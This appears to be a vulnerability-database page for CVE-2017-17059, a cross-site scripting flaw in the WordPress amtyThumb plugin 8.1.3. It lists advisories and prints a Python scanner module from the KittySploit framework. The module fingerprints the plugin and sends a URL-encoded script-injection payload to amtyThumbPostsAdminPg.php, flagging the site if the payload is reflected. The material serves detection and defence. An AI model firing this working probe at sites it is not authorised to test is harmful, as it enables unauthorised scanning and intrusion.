WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| WordPress amtyThumb amty-thumb-recent-post plugin cross-site scripting vulnerability | 1 Dec 201700:00 | – | cnvd | |
| CVE-2017-17059 | 29 Nov 201717:00 | – | cve | |
| CVE-2017-17059 | 29 Nov 201717:00 | – | cvelist | |
| EUVD-2017-8226 | 7 Oct 202500:30 | – | euvd | |
| WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting | 14 Oct 202602:05 | – | nuclei | |
| CVE-2017-17059 | 29 Nov 201717:29 | – | nvd | |
| CVE-2017-17059 | 29 Nov 201717:29 | – | osv | |
| WordPress amtyThumb posts plugin 8.1.3 - Unauthenticated Cross-Site Scripting (XSS) vulnerability | 2 Dec 201700:00 | – | patchstack | |
| Cross site scripting | 29 Nov 201717:29 | – | prion | |
| PT-2017-14692 | 29 Nov 201700:00 | – | ptsecurity |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress amty-thumb-recent-post plugin 8."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting Detection',
'description': 'WordPress amty-thumb-recent-post plugin 8.1.3 contains a cross-site scripting vulnerability via the query string to amtyThumbPostsAdminPg.php.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve2017', 'cve', 'xss', 'wp-plugin', 'packetstorm', 'wordpress', 'amtythumb_project', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/NaturalIntelligence/wp-thumb-post/issues/1',
'https://packetstormsecurity.com/files/145044/WordPress-amtyThumb-8.1.3-Cross-Site-Scripting.html',
'https://nvd.nist.gov/vuln/detail/CVE-2017-17059',
'https://github.com/ARPSyndicate/kenzer-templates',
],
'cve': 'CVE-2017-17059',
}
def run(self):
path = '/wp-content/plugins/amty-thumb-recent-post/readme.txt'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = (r.text or "").lower()
body_all = ('amty thumb', 'tags:',)
if not (all(m in body for m in body_all)):
return False
path = '/wp-content/plugins/amty-thumb-recent-post/amtyThumbPostsAdminPg.php?%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E=1'
r = self.http_request(method='POST', path=path, allow_redirects=False, data='amty_hidden=1')
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('</script><script>alert(document.domain)</script>',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(severity='medium', reason='WordPress amtyThumb Posts 8.1.3 - Cross-Site Scripting detected', path=path)
return True
return False
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